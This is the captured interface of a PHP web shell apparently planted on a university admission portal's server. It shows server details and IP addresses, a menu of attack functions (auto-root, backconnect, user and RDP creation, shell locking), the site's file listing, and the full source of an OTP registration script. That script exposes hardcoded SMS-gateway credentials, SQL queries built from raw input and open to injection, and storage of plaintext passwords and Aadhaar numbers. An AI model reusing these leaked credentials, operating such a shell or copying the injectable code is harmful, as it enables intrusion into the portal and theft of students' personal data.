Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.117.93.183
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
bcu /
adm /
[ HOME SHELL ]
Name
Size
Permission
Action
Paytm
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
experience
[ DIR ]
drwxr-xr-x
hdfc
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
pget_photos
[ DIR ]
drwxr-xr-x
pgetadm_2019
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
razorpay
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
tcpdf
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxrwxrwx
BU_connect.php
433
B
-rwxr-xr-x
MBA (Day) Merit List - Academi...
1.45
MB
-rw-rw-r--
MBA (Evening) Merit List - Aca...
938.9
KB
-rw-rw-r--
MainPage.html
52.35
KB
-rwxr-xr-x
MainPage_03082019.html
50.24
KB
-rwxr-xr-x
MainPage_04122018.html
36.29
KB
-rwxr-xr-x
MainPage_12122018.html
50.24
KB
-rwxr-xr-x
MainPage_dev.html
36.76
KB
-rwxr-xr-x
admission_sms_push.php
2.77
KB
-rwxr-xr-x
app.php
416
B
-rwxr-xr-x
cconfig.php
1.24
KB
-rwxr-xr-x
cronjob_sendsms.php
2.56
KB
-rwxr-xr-x
database.php
212
B
-rwxr-xr-x
direct-signin.php
886
B
-rw-rw-r--
forgot-password.php
2.73
KB
-rwxr-xr-x
forgotPassword.html
4.84
KB
-rwxr-xr-x
index.html
10.21
KB
-rw-rw-r--
index_login.html
5.01
KB
-rwxr-xr-x
instruction.html
10.69
KB
-rwxr-xr-x
instruction_03082019.html
9.66
KB
-rwxr-xr-x
instruction_09232018.html
9.08
KB
-rwxr-xr-x
instruction_10092018.html
8.56
KB
-rwxr-xr-x
instruction_regn.html
4.45
KB
-rwxr-xr-x
login.php
317
B
-rwxr-xr-x
pg-forgotPassword.html
4.1
KB
-rwxr-xr-x
pg-sign-up_2019.html
7.15
KB
-rwxr-xr-x
pgResponse.php
7.79
KB
-rwxr-xr-x
pg_instruction.html
8.58
KB
-rwxr-xr-x
pgadm.html
118.41
KB
-rwxr-xr-x
pgadm_old_12102019.html
111.5
KB
-rwxr-xr-x
pgadm_with_values.html
106.1
KB
-rwxr-xr-x
pgindex_2019.html
6.24
KB
-rwxr-xr-x
resetpassword.php
697
B
-rwxr-xr-x
sendGridMail.php
1.28
KB
-rwxr-xr-x
sendMobEmailOTP.php
3.55
KB
-rwxr-xr-x
sendMobEmailOTP_09102018.php
1.4
KB
-rwxr-xr-x
sendsmsapi.php
814
B
-rwxr-xr-x
sign-up.html
7.29
KB
-rwxr-xr-x
signin.php
1.05
KB
-rwxr-xr-x
signup.php
1.22
KB
-rwxr-xr-x
student.php
13.52
KB
-rwxr-xr-x
support.html
4.76
KB
-rwxr-xr-x
upload.php
415
B
-rwxr-xr-x
upload1.php
423
B
-rwxr-xr-x
upload_file.php
787
B
-rwxr-xr-x
upload_file_old_12102019.php
748
B
-rwxr-xr-x
upload_file_org.php
787
B
-rwxr-xr-x
upload_file_pg.php
740
B
-rwxr-xr-x
validateRegno.php
2.39
KB
-rwxr-xr-x
verify.php
7.56
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sendMobEmailOTP.php
<?php include ("database.php"); //require_once("cManualMailer.php"); //error_reporting(E_ALL); ini_set('display_errors', 'on'); include("sendsmsapi.php"); include("sendGridMail.php"); $mobile = trim($_POST['mobile']); $emailid = trim($_POST['email']); $regno = strtoupper(trim($_POST['regno'])); $univcode = trim($_POST['univ']); $dob = trim($_POST['dob']);//password $passwd = trim($_POST['password']); $adharno = trim($_POST['adharno']);//parmobile $parmobile = trim($_POST['parmobile']); $query = "select fmobileotp, femailotp from masuser where fmobileno = '{$mobile}' and ROUND(time_to_sec((TIMEDIFF(NOW(), fmobotptime))) / 60) <= 5"; $result = mysqli_query($conn,$query); $count = mysqli_num_rows($result); $row = $result->fetch_assoc(); date_default_timezone_set('Asia/Kolkata'); $time = date("h:i A"); if($count > 0) { //$arr['row'] = $row; $motpaswrd = $row['fmobileotp']; $emailotp = $row['femailotp']; $smsotp = "Dear Student, Your mobile OTP for Registration is, {$motpaswrd}. Sent at {$time}"; } else { $motpaswrd = rand(100000, 900000); //strtoupper(substr(sha1(rand()), 0, 4)); $emailotp = genEmailotp(6); $smsotp = "Dear Student, Your mobile OTP for Registration is {$motpaswrd}. Sent at {$time}"; } $username = 'logisyhttp'; $password = 'logisy@928'; $from = 'LOGINF'; $to = $mobile; $text = $smsotp; $category = ''; //$arr['text'] = $text; $smsresp = sendsmaapi($username,$password,$from,$to,$text,$category); $arr["sms"] = $smsresp; $message="<html>"; $message.="<body>"; $message.="<style>"; $message.=".mail_tbl td{text-align:left; padding:2px; font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;}"; $message.="</style>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Dear Student,</p></br>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Your Email OTP for Registration is ".$emailotp."</p></br>"; //$message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>---------------------------------<br/>Register number : ".$regno." <br/> Email OTP : ".$emailotp."<br/>----------------------------------</p></br>"; $message.="</br>"; $message.="</body>"; $message.="</html>"; $subject="Student Portal Authentication"; $resp = sendGridMail($emailid,$subject,$message); $data = json_decode($resp, true); //$data = send_manual_mail($emailid,$subject,$message,$replay_to=null,$cc=null,'techsupport@logisys.net.in'); if($univcode != '008') $adharno = ''; $query = "insert into masuser(fmobileno, fmobileotp, fmobotptime, femail, femailotp, femailotptime, fregno, fdob, funivcode, fpasswd,fadharno, fparentmob) values('$mobile','{$motpaswrd}', now(), '{$emailid}', '{$emailotp}', now(), '{$regno}','{$dob}', '{$univcode}', '{$passwd}','{$adharno}','{$parmobile}') ON DUPLICATE KEY UPDATE fmobileno = '{$mobile}', fmobileotp = '{$motpaswrd}', fmobotptime = now(), femail = '{$emailid}', femailotp = '{$emailotp}', femailotptime = now(), fregno = '{$regno}', fdob = '{$dob}', funivcode = '{$univcode}', fpasswd ='{$passwd}',fotpcounter = fotpcounter+1, fadharno = '{$adharno}', fparentmob = '{$parmobile}'"; //var_dump($query); if (mysqli_query($conn,$query)) { $arr["status"] = 'success'; } else { $arr["status"] = 'error'; } //$arr["email"] = $data['message']; echo json_encode($arr); function genEmailotp($length) { $emailotp = ""; $characters = array_merge(range('A','Z')); $max = count($characters) - 1; for ($i = 0; $i < $length; $i++) { $rand = mt_rand(0, $max); $emailotp .= $characters[$rand]; } return $emailotp; } ?>
Close